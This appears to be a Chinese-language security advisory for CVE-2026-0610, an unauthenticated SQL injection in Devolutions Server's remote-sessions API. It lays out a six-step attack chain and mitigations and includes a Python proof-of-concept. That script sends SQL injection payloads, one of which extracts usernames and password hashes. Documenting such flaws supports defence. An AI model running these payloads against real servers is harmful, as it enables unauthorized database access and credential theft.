IPBUF安全漏洞报告
English
CVE-2026-0610 CVSS 9.8 严重

CVE-2026-0610 Devolutions Server 远程会话SQL注入漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-0610
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Devolutions Server

相关标签

SQL注入Devolutions Server远程会话无需认证CVE-2026-0610CVSS 9.8特权访问管理远程代码执行数据库安全

漏洞概述

CVE-2026-0610是Devolutions Server中存在的一个严重SQL注入漏洞,CVSS评分高达9.8分(满分10分),属于紧急严重级别。该漏洞存在于Devolutions Server的远程会话(remote-sessions)功能模块中,攻击者无需任何认证即可利用此漏洞。Devolutions Server是一款企业级远程连接管理和特权访问管理解决方案,广泛应用于各行业的安全远程访问场景。该漏洞影响版本为2025.3.1至2025.3.12,由于CVSS评分极高且无需认证即可利用,对所有使用受影响版本的企业构成严重威胁。攻击者成功利用此漏洞可实现数据库完全控制,进而窃取敏感凭据、配置文件和业务数据,甚至可能通过数据库间接执行系统命令。鉴于Devolutions Server通常部署在企业内部网络的核心位置,此漏洞的潜在影响范围极广,建议受影响用户立即采取修复措施。

技术细节

该SQL注入漏洞位于Devolutions Server的远程会话API处理模块中。具体来说,程序在处理用户请求的会话标识符(session_id)等参数时,直接将用户输入拼接到SQL查询语句中,而未进行充分的输入验证和参数化查询处理。攻击者可以通过在HTTP请求中构造恶意的SQL语句片段,利用SQL注入技术绕过认证机制、提取数据库中的敏感信息或执行任意数据库操作。漏洞利用的关键在于远程会话接口对用户输入的过滤机制存在缺陷,允许单引号、双划线、UNION SELECT等SQL特殊字符和关键字未被正确转义或过滤。攻击者通过构造如'union select...等payload,可以实现联合查询以提取数据库中的用户表、密码哈希、配置文件等敏感数据。由于该接口无需认证即可访问,攻击者可以在未登录的情况下直接发起攻击,大大降低了攻击难度和成本。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Devolutions Server版本,确认版本在2025.3.1至2025.3.12范围内,并探测远程会话API端点
STEP 2
步骤2: 漏洞探测
攻击者向/api/remote-sessions等端点发送包含SQL特殊字符的请求(如单引号),观察服务器响应以确认SQL注入漏洞存在
STEP 3
步骤3: 构造恶意Payload
根据探测结果,构造针对性的SQL注入payload,如使用UNION SELECT提取数据库表结构或使用布尔盲注技术
STEP 4
步骤4: 数据提取
通过SQL注入漏洞提取数据库中的敏感信息,包括用户表、密码哈希、会话令牌、配置文件等关键数据
STEP 5
步骤5: 权限提升与持久化
利用获取的凭据信息登录管理后台,或通过数据库写入功能植入后门,实现长期持久化访问
STEP 6
步骤6: 横向移动
以Devolutions Server为跳板,利用其管理的远程会话功能访问其他内部系统,扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-0610 PoC - Devolutions Server SQL Injection # Target: Devolutions Server < 2025.3.13 def exploit_sql_injection(target_url, payload_type='basic'): """ SQL Injection PoC for CVE-2026-0610 payload_type: 'basic' for boolean-based, 'union' for UNION-based injection """ endpoints = [ '/api/remote-sessions', '/api/v1/remote-sessions/query', '/api/sessions/remote' ] payloads = { 'basic': "' OR '1'='1", 'union': "' UNION SELECT NULL,NULL,username,password_hash,NULL FROM users--", 'error': "' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--" } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Test for SQL injection vulnerability data = { 'session_id': payloads.get(payload_type, payloads['basic']), 'filter': 'active' } try: response = requests.post(url, json=data, headers=headers, timeout=10, verify=False) # Check for SQL error messages or successful injection if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Potential SQL Injection found at {url}") print(f"[+] Response: {response.text[:500]}") return True elif response.status_code == 200 and len(response.text) > 100: print(f"[+] Possible successful injection at {url}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} https://vulnerable-server:5000") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-0610 SQL Injection on {target}") exploit_sql_injection(target, 'basic')

影响范围

Devolutions Server 2025.3.1
Devolutions Server 2025.3.2
Devolutions Server 2025.3.3
Devolutions Server 2025.3.4
Devolutions Server 2025.3.5
Devolutions Server 2025.3.6
Devolutions Server 2025.3.7
Devolutions Server 2025.3.8
Devolutions Server 2025.3.9
Devolutions Server 2025.3.10
Devolutions Server 2025.3.11
Devolutions Server 2025.3.12

防御指南

临时缓解措施
在完成版本升级之前,建议采取以下临时缓解措施:首先,通过网络层访问控制,限制对Devolutions Server远程会话API的访问,仅允许受信任的IP地址访问;其次,在Web应用防火墙或反向代理层面配置SQL注入检测规则,对包含单引号、UNION、SELECT等SQL关键词的请求进行拦截和告警;最后,加强数据库活动监控,配置异常查询告警规则,及时发现潜在的SQL注入攻击行为。但请注意,这些措施仅为临时缓解,不能替代根本性修复,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表